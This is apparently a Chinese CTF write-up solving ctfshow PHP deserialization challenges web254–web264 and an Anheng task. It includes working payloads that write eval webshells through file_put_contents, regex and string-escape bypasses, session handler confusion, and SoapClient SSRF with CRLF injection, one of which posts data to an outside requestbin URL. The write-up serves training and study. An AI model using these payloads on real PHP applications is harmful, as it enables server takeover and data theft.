反序列化

trick

16进制绕过字符的过滤

  1. O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
  2. 可以写成
  3. O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
  4. 表示字符类型的s大写时,会被当成16进制解析。
  1. 1. __sleep() //在对象被序列化之前运行
  2. 2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
  3. 3. __construct() //当对象被创建时,会触发进行初始化
  4. 4. __destruct() //对象被销毁时触发
  5. 5. __toString(): //当一个对象被当作字符串使用时触发
  6. 6. __call() //在对象上下文中调用不可访问的方法时触发
  7. 7. __callStatic() //在静态上下文中调用不可访问的方法时触发
  8. 8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
  9. 9. __set() //用于将数据写入不可访问的属性
  10. 10. __isset() //在不可访问的属性上调用isset()或empty()触发
  11. 11. __unset() //在不可访问的属性上使用unset()时触发
  12. 12. __toString() //把类当作字符串使用时触发
  13. 13. __invoke() //当脚本尝试将对象调用为函数时触发
  1. 序列化对象:
  2. private变量会被序列化为:\x00类名\x00变量名
  3. protected变量会被序列化为: \x00*\x00变量名
  4. public变量会被序列化为:变量名

web254

  1. error_reporting(0);
  2. highlight_file(__FILE__);
  3. include('flag.php');
  4. class ctfShowUser{
  5. public $username='xxxxxx';
  6. public $password='xxxxxx';
  7. public $isVip=false;
  8. public function checkVip(){
  9. return $this->isVip;
  10. }
  11. public function login($u,$p){
  12. if($this->username===$u&&$this->password===$p){
  13. $this->isVip=true;
  14. }
  15. return $this->isVip;
  16. }
  17. public function vipOneKeyGetFlag(){
  18. if($this->isVip){
  19. global $flag;
  20. echo "your flag is ".$flag;
  21. }else{
  22. echo "no vip, no flag";
  23. }
  24. }
  25. }
  26. $username=$_GET['username'];
  27. $password=$_GET['password'];
  28. if(isset($username) && isset($password)){
  29. $user = new ctfShowUser();
  30. if($user->login($username,$password)){
  31. if($user->checkVip()){
  32. $user->vipOneKeyGetFlag();
  33. }
  34. }else{
  35. echo "no vip,no flag";
  36. }
  37. }

username和password只要等于类里边的name变量就可以得出flag

web255

  1. error_reporting(0);
  2. highlight_file(__FILE__);
  3. include('flag.php');
  4. class ctfShowUser{
  5. public $username='xxxxxx';
  6. public $password='xxxxxx';
  7. public $isVip=false;
  8. public function checkVip(){
  9. return $this->isVip;
  10. }
  11. public function login($u,$p){
  12. return $this->username===$u&&$this->password===$p;
  13. }
  14. public function vipOneKeyGetFlag(){
  15. if($this->isVip){
  16. global $flag;
  17. echo "your flag is ".$flag;
  18. }else{
  19. echo "no vip, no flag";
  20. }
  21. }
  22. }
  23. $username=$_GET['username'];
  24. $password=$_GET['password'];
  25. if(isset($username) && isset($password)){
  26. $user = unserialize($_COOKIE['user']);
  27. if($user->login($username,$password)){
  28. if($user->checkVip()){
  29. $user->vipOneKeyGetFlag();
  30. }
  31. }else{
  32. echo "no vip,no flag";
  33. }
  34. }

payload

  1. <?
  2. class ctfShowUser{
  3. public $isVip=true;
  4. public $username='a';
  5. public $password='a';
  6. }
  7. $o=new ctfShowUser();
  8. echo serialize($o);
  9. ?>

web256

  1. error_reporting(0);
  2. highlight_file(__FILE__);
  3. include('flag.php');
  4. class ctfShowUser{
  5. public $username='xxxxxx';
  6. public $password='xxxxxx';
  7. public $isVip=false;
  8. public function checkVip(){
  9. return $this->isVip;
  10. }
  11. public function login($u,$p){
  12. return $this->username===$u&&$this->password===$p;
  13. }
  14. public function vipOneKeyGetFlag(){
  15. if($this->isVip){
  16. global $flag;
  17. if($this->username!==$this->password){
  18. echo "your flag is ".$flag;
  19. }
  20. }else{
  21. echo "no vip, no flag";
  22. }
  23. }
  24. }
  25. $username=$_GET['username'];
  26. $password=$_GET['password'];
  27. if(isset($username) && isset($password)){
  28. $user = unserialize($_COOKIE['user']);
  29. if($user->login($username,$password)){
  30. if($user->checkVip()){
  31. $user->vipOneKeyGetFlag();
  32. }
  33. }else{
  34. echo "no vip,no flag";
  35. }
  36. }

稍微改一下payload

  1. <?
  2. class ctfShowUser{
  3. public $isVip=true;
  4. public $username='a';
  5. public $password='b';
  6. }
  7. $o=new ctfShowUser();
  8. echo serialize($o);
  9. ?>

web257

  1. error_reporting(0);
  2. highlight_file(__FILE__);
  3. class ctfShowUser{
  4. private $username='xxxxxx';
  5. private $password='xxxxxx';
  6. private $isVip=false;
  7. private $class = 'info';
  8. public function __construct(){
  9. $this->class=new info();
  10. }
  11. public function login($u,$p){
  12. return $this->username===$u&&$this->password===$p;
  13. }
  14. public function __destruct(){
  15. $this->class->getInfo();
  16. }
  17. }
  18. class info{
  19. private $user='xxxxxx';
  20. public function getInfo(){
  21. return $this->user;
  22. }
  23. }
  24. class backDoor{
  25. private $code;
  26. public function getInfo(){
  27. eval($this->code);
  28. }
  29. }
  30. $username=$_GET['username'];
  31. $password=$_GET['password'];
  32. if(isset($username) && isset($password)){
  33. $user = unserialize($_COOKIE['user']);
  34. $user->login($username,$password);
  35. }

利用__destruct来触发反序列化点 将$this->class赋值new backDoor利用其eval 命令执行

<?
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code;
    public function __construct(){
        $this->code='file_put_contents("./shell.php","<?php @eval(\$_POST[1]);?>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
    }
}

$o=new ctfShowUser();
echo urlencode(serialize($o));
?>

写入一句话木马 访问shell.php

web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

比上一题多了一个正则

!preg_match('/[oc]:\d+:/i'

过滤了o:int或者c:int

在Int前加+

CTFSHOW-UNSERIALIZE - 图1

前面加一个+号即可绕过

payload.php

<?
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code;
    public function __construct(){
        $this->code='file_put_contents("./shell.php","<?php @eval(\$_POST[1]);?>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
    }
}

$o=new ctfShowUser();
echo urlencode(serialize($o));
?>

CTFSHOW-UNSERIALIZE - 图2

web259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

访问flag.php需要X_FORWARDED_FOR===127.0.0.1,127.0.0.1

看师傅博客 说是有CF代理 所以不能本地构造

故只能用SoapClient原生类 来进行SSRF请求

<?php 
$payload= array(
        'user_agent' => "Flowers_BeiCheng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
        'uri' => 'Flowers_BeiCheng',
        'location' => 'http://127.0.0.1/flag.php'
    )
$a = new SoapClient(null,$payload);
$o = serialize($a);
echo urlencode($o);

构造如上脚本

当SoapClient类调用没有的方法时触发魔法函数__call

利用CRLF注入 控制UA头进行CRLF注入 进行post数据传输

CRLF Injection漏洞的利用与实例分析.html)

访问flag.txt

综述:

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,来触发__call方法

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

传参数ctfshow=ctfshow_i_love_36D

web261

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;
public function __wakeup(){
    if($this->username!='' || $this->password!=''){
        die('error');
    }
}
public function __invoke(){
    eval($this->code);
}

public function __sleep(){
    $this->username='';
    $this->password='';
}
public function __unserialize($data){
    $this->username=$data['username'];
    $this->password=$data['password'];
    $this->code = $this->username.$this->password;
}
public function __destruct(){
    if($this->code==0x36d){
        file_put_contents($this->username, $this->password);
    }
}
}

unserialize($_GET['vip']);

unserialize和wake同时存在,则unserialize生效 wake失效

直接利用__destruct中file_put_contents

但想要利用file_put_contents需要$this->code==0x36d(这里考察弱类型比较)

$this->code和0x36d会转换为数字进行比较 0x36d==877

构造payload

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public function __construct(){
        $this->username='877.php';
        $this->password='<?php @eval($_POST[1]);?>';
    }
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>

成功写入

web262

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

根据提示还有个message.php

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

触发点在message.php

我们要让$msg->token==’admin’,

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

可以看到控制不了$token 可以控制from msg to

传一个正常反序列化内容

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

我们需要构造这样的反序列化内容

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}

这时候就要传入

";s:5:"token";s:5:"admin";} //27个字符

传入的内容需要逃逸出来

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

fuck变成loveU 四个字符变成五个字符

每次变多一个 一共需要27个字符

构造payload

f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263

PHP session 反序列化

反序列化处理器

处理器 对应的存储格式
php 键名+竖线+经过serialize()函数反序列化处理的值
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数反序列化处理的数组

安全问题

如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据

session.auto_start=On

当配置选项session.auto_start=On,会自动注册Session会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的session相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在session.auto_start=On时,销毁自动生成的Session会话,然后设置需要的序列化处理器,在调用session_start()函数注册会话,这时如果脚本中设置的序列化处理器与php.ini中设置的不同,就会出现安全问题

通读代码

index.php

CTFSHOW-UNSERIALIZE - 图3

17行,$_SESSION[‘limit’]首先是为空 通过后面的$_COOKIE[‘limit’]便可以控制$_SESSION[‘limit’]

如果无法控制,利用PHP_SESSION_UPLOAD_PROGRESS来控制session内容

查看check.php

发现包含了inc/inc.php

CTFSHOW-UNSERIALIZE - 图4

跟进inc/inc.php

CTFSHOW-UNSERIALIZE - 图5

发现配置为 php 进行反序列化的

那php反序列化什么样的呢?

键名+竖线+经过serialize()函数反序列化处理的值

只有 | 后面的内容才会被反序列化

漏洞关键位置

CTFSHOW-UNSERIALIZE - 图6

发现了User类里的__destruct()魔法函数可以进行file_put_contents函数进行getshell

思路

  • 前提:由于php.ini默认配置为php_serialize
  • 利用index.php控制SESSION文件 写入SESSION为序列化后的内容
  • 再利用check.php触发反序列化(触发|后面序列化后的内容)

构造payload

class User{
    public $username;
    public $password;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
}
}
$o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
echo base64_encode('|'.serialize($o));

访问index.php改cookie limit为payload 再次访问写入

访问check.php触发

最后访问log-huahua.php

成功写入

CTFSHOW-UNSERIALIZE - 图7

web264

修复了web262非预期

利用web262的payload

需要在cookie里填写msg参数

Soap+FilesystemIterator原生类

查看hint.php文件

<?php
class fxxk{
    public $par2='php://filter/read=convert.base64-encode/resource=';
}
echo urlencode(serialize(new fxxk));
?>

hint.php

<?php

$hint = '向管理员的页面post一个参数message(告诉他,"iwantflag") 和 另一个参数 url(它会向这个url发送一个flag';
$hint .= '管理员的页面在当前目录下一个特殊文件夹里';
$hint .= '但是我不知道(你也猜不到的)文件夹名称和管理员页面的名称,更坏的消息是只能从127.0.0.1去访问,你能想个办法去看看(别扫 扫不出来!!!)';

FilesystemIterator原生类读取目录

<?php
class fxxk{
    public $par0='FilesystemIterator';
    public $par1='./'; //aaaaaaaaaaafxadwagaefae //UcantGuess.php
    public $par2=null;
    public $par3;
    public $kelasi;
}
echo urlencode(serialize(new fxxk));
?>

SoapClient原生类 进行SSRF+CRLF


<?php
$target = 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php';
$post_string = 'message=iwantflag&url=http%3A%2F%2Frequestbin.net%2Fr%2Fah07hla6';
$headers = array(
    'X-Forwarded-For: 127.0.0.1'
    );
$b=array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab");
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
$c=unserialize($aaa);
class fxxk{
    public $par0;
    public $par1;
    public $par2;
    public $par3;
    public $kelasi;
    public function __construct(){
       $this->par0='SoapClient';
       $this->par1=null;
    }
}    
$a=new fxxk();
$a->par2=$c;
$a->par3='unser';
echo urlencode(serialize($a));
?>

安恒某题

anheng.php

<?php
function myAutoloader($classname){
    include $classname.".php";
}

if(isset($_REQUEST['pop'])){
    $pop = $_REQUEST['pop'];
    $o = unserialize($pop);
    echo "<br/>";
    if($o === false) {
        die("格式是不是有问题?");
    }else{
        spl_autoload_register('myAutoloader');
        $o = unserialize($pop);
        $raw = serialize($o);
        if(preg_match("/Evil/",$raw)){
            throw new Error("Evil Classes!");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    highlight_file(__FILE__);
    echo "<br/>EvillClass.php";
    highlight_file("EvilClass.php");
    echo "<br/>";
    phpinfo();
}

EvilClass.php

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'EvilClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()  
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString() 
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke() 
    {
        $this->a = $this->b." Powered by PHP";
    }m
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}
?>
if(isset($_REQUEST['pop'])){
    $pop = $_REQUEST['pop'];
    $o = unserialize($pop);
    echo "<br/>";
    if($o === false) {
        die("格式是不是有问题?");
    }else{
        spl_autoload_register('myAutoloader');
        $o = unserialize($pop);
        $raw = serialize($o);
        if(preg_match("/Evil/",$raw)){
            throw new Error("Evil Classes!");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}

绕过if(preg_match("/Evil/",$raw))

__PHP_Incomplete_Class 不完整的类

反序列化一个不存在的类 打印出了内容
1.png
当我们再次序列化其内容
2.png
又回到了原内容
PHP在遇到不存在的类时,会把不存在的类转换成PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到PHP_Incomplete_Class这个特殊类会倒推回来,序列化成PHP_Incomplete_Class_Name值为类名的类,我们看到的序列化结果不是O:22:”PHP_Incomplete_Class_Name”:2:{xxx}而是O:1:”A”:1:{s:1:”a”;s:1:”b”;
构造一串内容如下
`a:2:{i:0;O:8:”stdClass”:1:{s:3:”abc”;N;}i:1;O:22:”
PHP_Incomplete_Class”:1:{s:3:”abc”;N;}}<br />![3.png](https://cdn.nlark.com/yuque/0/2021/png/21562055/1637938032558-4323f1d5-d7e5-42e6-8ee0-c6ca23127d76.png#clientId=u5f663030-2423-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=ua3de922f&margin=%5Bobject%20Object%5D&name=3.png&originHeight=560&originWidth=1817&originalType=binary&ratio=1&rotation=0&showTitle=false&size=420462&status=done&style=none&taskId=uf627d3f7-5625-4d27-ae9b-9a68b0a99b3&title=)<br />可以看到进行第二次serialize的置空了PHP_Incomplete_Class内的属性和内容<br />所以就绕过了if(preg_match(“/Evil/“,$raw))<br />a:1:{i:0;O:22:”PHP_Incomplete_Class”:1:{s:3:”qwb”;O:9:”EvilClass”:0:{}}}<br />利用spl_autoload_register(‘myAutoloader’)`成功包含到了EvilClass.php文件
5.png